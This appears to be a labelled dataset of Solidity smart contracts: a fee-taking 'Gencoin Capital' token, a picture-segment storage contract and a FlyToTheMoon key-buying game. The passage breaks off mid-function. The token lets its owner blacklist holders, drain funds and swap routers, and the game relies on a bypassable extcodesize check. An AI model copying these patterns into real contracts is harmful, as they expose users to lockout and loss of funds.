bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract GencoinCapital is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable private devWallet = payable (0xc446883641359C7b192EB7006f27dA97B8F454ac); // Main tax wallet
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isSniper;
uint256 public deadBlocks = 5;
uint256 public launchedAtBlock = 0;
uint256 public launchedAtTime = 0;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isMaxWalletExempt;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
struct StaticMaxTax {
uint256 maxLiquidity;
uint256 maxReflection;
uint256 maxTreasury;
uint256 maxMarketing;
uint256 maxTeamfee;
}
address DEAD = 0x000000000000000000000000000000000000dEaD;
uint8 private _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1e17 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Gencoin Capital";
string private _symbol = "$GENCAP";
uint256 public _maxWalletToken = _tTotal.div(2000).mul(10); //1% of available tokens (500T)
bool public maxEthTradesEnabled = true;
uint256 public maxEthSell_launch = 1 * 10**18; //Max sell is 1 ETH for 24 hours.
uint256 public maxEthSell = 5 * 10**18; //Regular Max sell is 5 ETH.
uint256 private swapThreshold = (_tTotal * 5) / 10000;
uint256 private swapAmount = (_tTotal * 25) / 10000;
uint256 public _buyLiquidityFee = 2; //2%
uint256 public _buyReflectionFee = 1; //1%
uint256 public _buyTreasuryFee = 4; //4%
uint256 public _buyMarketingFee = 4; //4%
uint256 public _buyTeamFee = 2; //2%
uint256 public _sellLiquidityFee = 2; //2%
uint256 public _sellReflectionFee = 1; //1%
uint256 public _sellTreasuryFee = 4; //4%
uint256 public _sellMarketingFee = 4; //4%
uint256 public _sellTeamFee = 2; //2%
StaticMaxTax public staticTax = StaticMaxTax({
maxLiquidity: 2, //2%
maxReflection: 1, //1%
maxTreasury: 4, //4%
maxMarketing: 4, //4%
maxTeamfee: 2 //2%
});
uint256 private liquidityFee = _buyLiquidityFee;
uint256 private treasuryFee = _buyTreasuryFee;
uint256 private marketingFee = _buyMarketingFee;
uint256 private teamFee = _buyTeamFee;
uint256 private reflectionFee=_buyReflectionFee;
uint256 private totalFee = liquidityFee.add(treasuryFee).add(marketingFee).add(teamFee);
uint256 private currenttotalFee = totalFee;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwap;
address[] path;
bool public tradingOpen = false;
bool public zeroBuyTaxmode = false;
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isMaxWalletExempt[owner()] = true;
_isMaxWalletExempt[address(this)] = true;
_isMaxWalletExempt[uniswapV2Pair] = true;
_isMaxWalletExempt[DEAD] = true;
path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), MAX);
_approve(_msgSender(), address(uniswapV2Router), MAX);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen);
tradingOpen = true;
excludeFromReward(address(this));
excludeFromReward(uniswapV2Pair);
if(tradingOpen && launchedAtBlock == 0){
launchedAtBlock = block.number;
launchedAtTime = block.timestamp;
}
}
function setZeroBuyTaxmode(bool _status) external onlyOwner() {
zeroBuyTaxmode = _status;
}
function setNewRouter(address newRouter) external onlyOwner() {
IUniswapV2Router02 _newRouter = IUniswapV2Router02(newRouter);
address get_pair = IUniswapV2Factory(_newRouter.factory()).getPair(address(this), _newRouter.WETH());
if (get_pair == address(0)) {
uniswapV2Pair = IUniswapV2Factory(_newRouter.factory()).createPair(address(this), _newRouter.WETH());
}
else {
uniswapV2Pair = get_pair;
}
uniswapV2Router = _newRouter;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], "You are on the sniper list!");
require(!_isSniper[from], "You are on the sniper list!");
if (from != owner() && to != owner()) require(tradingOpen, "Trading not yet enabled."); //trading not open yet
bool takeFee = false;
if (!(_isExcludedFromFee[from] || _isExcludedFromFee[to])) {
takeFee = true;
}
currenttotalFee=totalFee;
reflectionFee=_buyReflectionFee;
//max wallet holding
if(!_isMaxWalletExempt[to] && from != owner() && from == uniswapV2Pair){
if(zeroBuyTaxmode){
//adjust max amount according to 0% buy tax
require(amount + balanceOf(to) <= _maxWalletToken , "Total holding is limited");
}else{
//adjust max amount according to tax
uint256 baseactualfee = _buyReflectionFee.add(_buyLiquidityFee).add(_buyTreasuryFee).add(_buyMarketingFee).add(_buyTeamFee);
uint256 maxpercent = 100;
baseactualfee = maxpercent.sub(baseactualfee);
require(amount.mul(baseactualfee).div(100) + balanceOf(to) <= _maxWalletToken , "Total holding is limited");
}
}
if(tradingOpen && to == uniswapV2Pair) { //sell
reflectionFee = _sellReflectionFee;
if (maxEthTradesEnabled) {
uint256 _ethBalance = uniswapV2Router.getAmountsOut(amount, path)[1];
if(block.timestamp <= launchedAtTime + 24 hours) {
require(_ethBalance <= maxEthSell_launch); //max 1 ETH sell for 24 hours.
}else{
require(_ethBalance <= maxEthSell); //max 5 ETH sell after 24 hours.
}
}
//anti-dump structure for the first 24 hours.
if(block.timestamp <= launchedAtTime + 2 hours) {
currenttotalFee = 30; //30%
}else if (block.timestamp <= launchedAtTime + 12 hours) {
currenttotalFee = 25; //25%
}else if (block.timestamp <= launchedAtTime + 24 hours) {
currenttotalFee = 20; //20%
}else{
currenttotalFee = _sellLiquidityFee.add(_sellTreasuryFee).add(_sellMarketingFee).add(_sellTeamFee); //12%+1%reflection
}
}
//antisniper - first 5 blocks
if(launchedAtBlock > 0 && ((launchedAtBlock + deadBlocks) >= block.number)){
_isSniper[to]=true;
}
//on buys only
if(zeroBuyTaxmode){
if(tradingOpen && from == uniswapV2Pair) {
currenttotalFee=0;
}
}
//sell
if (!inSwap && tradingOpen && to == uniswapV2Pair) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance >= swapThreshold) {
if(contractTokenBalance >= swapAmount) {
contractTokenBalance = swapAmount;
}
swapTokens(contractTokenBalance);
}
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
uint256 amountToLiquify = contractTokenBalance.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);
swapTokensForEth(amountToSwap);
uint256 amountETH = address(this).balance;
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
uint256 totalTAXfee = treasuryFee.add(marketingFee).add(teamFee);
uint256 amountETHdev = amountETH.mul(totalTAXfee).div(totalETHFee);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(amountETHdev,devWallet);
}
if (amountToLiquify > 0) {
addLiquidity(amountToLiquify,amountETHLiquidity);
}
}
function sendETHToFee(uint256 amount,address payable wallet) private {
wallet.transfer(amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, owner(), block.timestamp);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
uint256 _previousReflectionFee=reflectionFee;
uint256 _previousTotalFee=currenttotalFee;
if(!takeFee){
reflectionFee = 0;
currenttotalFee = 0;
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee){
reflectionFee = _previousReflectionFee;
currenttotalFee = _previousTotalFee;
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(reflectionFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(currenttotalFee).div(10**2);
}
function excludeMultiple(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function excludeFromFee(address[] calldata addresses) public onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
_isExcludedFromFee[addresses[i]] = true;
}
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setWallets(address _devWallet) external onlyOwner() {
devWallet = payable(_devWallet);
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
function isSniper(address account) public view returns (bool) {
return _isSniper[account];
}
function manage_Snipers(address[] calldata addresses, bool status) public onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
_isSniper[addresses[i]] = status;
}
}
function withDrawLeftoverETH(address payable recipient) public onlyOwner {
recipient.transfer(address(this).balance);
}
function withdrawStuckTokens(IERC20 token, address to) public onlyOwner {
uint256 balance = token.balanceOf(address(this));
token.transfer(to, balance);
}
function setMaxWalletBase2000(uint256 maxWallet) external onlyOwner() {
_maxWalletToken = _tTotal.div(2000).mul(maxWallet);
}
function setMaxWalletExempt(address _addr) external onlyOwner {
_isMaxWalletExempt[_addr] = true;
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
swapThreshold = (_tTotal * thresholdPercent) / thresholdDivisor;
swapAmount = (_tTotal * amountPercent) / amountDivisor;
}
function setTaxesBuy(uint256 _reflectionFee, uint256 _liquidityFee, uint256 _treasuryFee, uint256 _marketingFee, uint256 _teamFee) external onlyOwner {
require(_reflectionFee <= staticTax.maxReflection &&
_liquidityFee <= staticTax.maxLiquidity &&
_marketingFee <= staticTax.maxMarketing &&
_teamFee <= staticTax.maxTeamfee);
uint256 total_buy_fee = _reflectionFee.add(_liquidityFee).add(_treasuryFee).add(_marketingFee).add(_teamFee);
require(total_buy_fee <= 13); //Max buy fee 13%
_buyLiquidityFee = _liquidityFee;
_buyReflectionFee = _reflectionFee;
_buyTreasuryFee = _treasuryFee;
_buyMarketingFee = _marketingFee;
_buyTeamFee = _teamFee;
reflectionFee = _reflectionFee;
liquidityFee = _liquidityFee;
treasuryFee = _treasuryFee;
marketingFee = _marketingFee;
teamFee = _teamFee;
totalFee = liquidityFee.add(treasuryFee).add(marketingFee).add(teamFee);
}
function setTaxesSell(uint256 _reflectionFee,uint256 _liquidityFee, uint256 _treasuryFee, uint256 _marketingFee, uint256 _teamFee) external onlyOwner {
require(_reflectionFee <= staticTax.maxReflection &&
_liquidityFee <= staticTax.maxLiquidity &&
_marketingFee <= staticTax.maxMarketing &&
_teamFee <= staticTax.maxTeamfee);
uint256 total_sell_fee = _reflectionFee.add(_liquidityFee).add(_treasuryFee).add(_marketingFee).add(_teamFee);
require(total_sell_fee <= 13); //Max sell fee 13%
_sellLiquidityFee = _liquidityFee;
_sellReflectionFee= _reflectionFee;
_sellTreasuryFee = _treasuryFee;
_sellMarketingFee = _marketingFee;
_sellTeamFee = _teamFee;
}
function setEthLimits(uint256 sellVal) external onlyOwner {
require(sellVal >= 5 * 10**18);
maxEthSell = sellVal * 10**18;
}
function setEthLimitsEnabled(bool maxEthTrades) external onlyOwner {
maxEthTradesEnabled = maxEthTrades;
}
receive() external payable {}
} | True | [
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/*! mytilcoinstorage.sol | (c) 2018 Develop by BelovITLab LLC (smartcontract.ru), author @stupidlovejoy | License: MIT */
pragma solidity 0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
}
}
contract Manageable is Ownable {
mapping(address => bool) public managers;
event ManagerAdded(address indexed manager);
event ManagerRemoved(address indexed manager);
modifier onlyManager() { require(managers[msg.sender]); _; }
function addManager(address _manager) onlyOwner public {
require(_manager != address(0));
managers[_manager] = true;
ManagerAdded(_manager);
}
function removeManager(address _manager) onlyOwner public {
require(_manager != address(0));
managers[_manager] = false;
ManagerRemoved(_manager);
}
}
contract TilcoinStorage is Manageable {
struct Picture {
string hash;
uint32 rows;
uint32 cols;
uint32 width;
uint32 height;
string image;
string name;
string author;
}
struct Segment {
uint32 row;
uint32 col;
string hash;
string image;
string email;
string login;
}
mapping(bytes32 => Picture) public pictures;
mapping(bytes32 => mapping(uint32 => mapping(uint32 => Segment))) public segments;
event AddPicture(bytes32 indexed hash, uint32 rows, uint32 cols, uint32 width, uint32 height, string image, string name, string author);
event SetSegment(bytes32 indexed picture, uint32 indexed row, uint32 indexed col, bytes32 hash, string image);
event SegmentOwner(bytes32 indexed picture, uint32 indexed row, uint32 indexed col, string email, string login);
function TilcoinStorage() public {
addManager(msg.sender);
addManager(0x209eba96c917871f78671a3ed3503ecc4144495c);
}
function addPicture(string _hash, uint32 _rows, uint32 _cols, uint32 _width, uint32 _height, string _image, string _name, string _author) onlyManager public returns(bool success) {
bytes32 key = str_to_bytes32(_hash);
require(!(pictures[key].rows > 0));
require(_rows > 0 && _cols > 0 && _width > 0 && _height > 0);
pictures[key] = Picture({
hash: _hash,
rows: _rows,
cols: _cols,
width: _width,
height: _height,
image: _image,
name: _name,
author: _author
});
AddPicture(key, _rows, _cols, _width, _height, _image, _name, _author);
return true;
}
function setSegment(string _picture, uint32 _row, uint32 _col, string _hash, string _image, string _email, string _login) onlyManager public returns(bool success) {
bytes32 key = str_to_bytes32(_picture);
require(pictures[key].rows > 0);
require(_row > 0 && _col > 0 && _row <= pictures[key].rows && _col <= pictures[key].cols);
require(!(segments[key][_row][_col].row > 0));
segments[key][_row][_col] = Segment({
row: _row,
col: _col,
hash: _hash,
image: _image,
email: _email,
login: _login
});
SetSegment(key, _row, _col, str_to_bytes32(_hash), _image);
SegmentOwner(key, _row, _col, _email, _login);
return true;
}
function setSegmentOwner(string _picture, uint32 _row, uint32 _col, string _email, string _login) onlyManager public returns(bool success) {
bytes32 key = str_to_bytes32(_picture);
require(pictures[key].rows > 0);
require(_row > 0 && _col > 0 && _row <= pictures[key].rows && _col <= pictures[key].cols);
require(segments[key][_row][_col].row > 0);
segments[key][_row][_col].email = _email;
segments[key][_row][_col].login = _login;
SegmentOwner(key, _row, _col, _email, _login);
return true;
}
function str_to_bytes32(string memory source) private pure returns(bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if(tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
} | True | [
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pragma solidity ^0.4.24;
contract FlyToTheMoonEvents {
// buy keys during first stage
event onFirStage
(
address indexed player,
uint256 indexed rndNo,
uint256 keys,
uint256 eth,
uint256 timeStamp
);
// become leader during second stage
event onSecStage
(
address indexed player,
uint256 indexed rndNo,
uint256 eth,
uint256 timeStamp
);
// player withdraw
event onWithdraw
(
address indexed player,
uint256 indexed rndNo,
uint256 eth,
uint256 timeStamp
);
// award
event onAward
(
address indexed player,
uint256 indexed rndNo,
uint256 eth,
uint256 timeStamp
);
}
contract FlyToTheMoon is FlyToTheMoonEvents {
using SafeMath for *;
using KeysCalc for uint256;
struct Round {
uint256 eth; // total eth
uint256 keys; // total keys
uint256 startTime; // end time
uint256 endTime; // end time
address leader; // leader
uint256 lastPrice; // The latest price for the second stage
bool award; // has been accept
}
struct PlayerRound {
uint256 eth; // eth player has added to round
uint256 keys; // keys
uint256 withdraw; // how many eth has been withdraw
}
uint256 public rndNo = 1; // current round number
uint256 public totalEth = 0; // total eth in all round
uint256 constant private rndFirStage_ = 12 hours; // round timer at first stage
uint256 constant private rndSecStage_ = 12 hours; // round timer at second stage
mapping (uint256 => Round) public round_m; // (rndNo => Round)
mapping (uint256 => mapping (address => PlayerRound)) public playerRound_m; // (rndNo => addr => PlayerRound)
address public owner; // owner address
uint256 public ownerWithdraw = 0; // how many eth has been withdraw by owner
constructor()
public
{
round_m[1].startTime = now;
round_m[1].endTime = now + rndFirStage_;
owner = msg.sender;
}
/**
* @dev prevents contracts from interacting
*/
modifier onlyHuman()
{
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth)
{
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
/**
* @dev only owner
*/
modifier onlyOwner()
{
require(owner == msg.sender, "only owner can do it");
_;
}
/**
* @dev play
*/
function()
onlyHuman()
isWithinLimits(msg.value)
public
payable
{
uint256 _eth = msg.value;
uint256 _now = now;
uint256 _rndNo = rndNo;
uint256 _ethUse = msg.value;
// start next round?
if (_now > round_m[_rndNo].endTime)
{
_rndNo = _rndNo.add(1);
rndNo = _rndNo;
round_m[_rndNo].startTime = _now;
round_m[_rndNo].endTime = _now + rndFirStage_;
}
// first or second stage
if (round_m[_rndNo].keys < 10000000000000000000000000)
{
// first stage
uint256 _keys = (round_m[_rndNo].eth).keysRec(_eth);
// keys number 10,000,000, enter the second stage
if (_keys.add(round_m[_rndNo].keys) >= 10000000000000000000000000)
{
_keys = (10000000000000000000000000).sub(round_m[_rndNo].keys);
if (round_m[_rndNo].eth >= 8562500000000000000000)
{
_ethUse = 0;
} else {
_ethUse = (8562500000000000000000).sub(round_m[_rndNo].eth);
}
if (_eth > _ethUse)
{
// refund
msg.sender.transfer(_eth.sub(_ethUse));
} else {
// fix
_ethUse = _eth;
}
}
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
round_m[_rndNo].endTime = _now + rndFirStage_;
round_m[_rndNo].leader = msg.sender;
}
// update playerRound
playerRound_m[_rndNo][msg.sender].keys = _keys.add(playerRound_m[_rndNo][msg.sender].keys);
playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth);
// update round
round_m[_rndNo].keys = _keys.add(round_m[_rndNo].keys);
round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth);
// update global variable
totalEth = _ethUse.add(totalEth);
// event
emit FlyToTheMoonEvents.onFirStage
(
msg.sender,
_rndNo,
_keys,
_ethUse,
_now
);
} else {
// second stage
// no more keys
// lastPrice + 0.1Ether <= newPrice <= lastPrice + 10Ether
uint256 _lastPrice = round_m[_rndNo].lastPrice;
uint256 _maxPrice = (10000000000000000000).add(_lastPrice);
// less than (lastPrice + 0.1Ether) ?
require(_eth >= (100000000000000000).add(_lastPrice), "Need more Ether");
// more than (lastPrice + 10Ether) ?
if (_eth > _maxPrice)
{
_ethUse = _maxPrice;
// refund
msg.sender.transfer(_eth.sub(_ethUse));
}
round_m[_rndNo].endTime = _now + rndSecStage_;
round_m[_rndNo].leader = msg.sender;
round_m[_rndNo].lastPrice = _ethUse;
// update playerRound
playerRound_m[_rndNo][msg.sender].eth = _ethUse.add(playerRound_m[_rndNo][msg.sender].eth);
// update round
round_m[_rndNo].eth = _ethUse.add(round_m[_rndNo].eth);
// update global variable
totalEth = _ethUse.add(totalEth);
// event
emit FlyToTheMoonEvents.onSecStage
(
msg.sender,
_rndNo,
_ethUse,
_now
);
}
}
/**
* @dev withdraws earnings by rndNo.
* 0x528ce7de
* 0x528ce7de0000000000000000000000000000000000000000000000000000000000000001
*/
function withdrawByRndNo(uint256 _rndNo)
onlyHuman()
public
{
require(_rndNo <= rndNo, "You're running too fast");
uint256 _total = (((round_m[_rndNo].eth).mul(playerRound_m[_rndNo][msg.sender].keys)).mul(60) / ((round_m[_rndNo].keys).mul(100)));
uint256 _withdrawed = playerRound_m[_rndNo][msg.sender].withdraw;
require(_total > _withdrawed, "No need to withdraw");
uint256 _ethOut = _total.sub(_withdrawed);
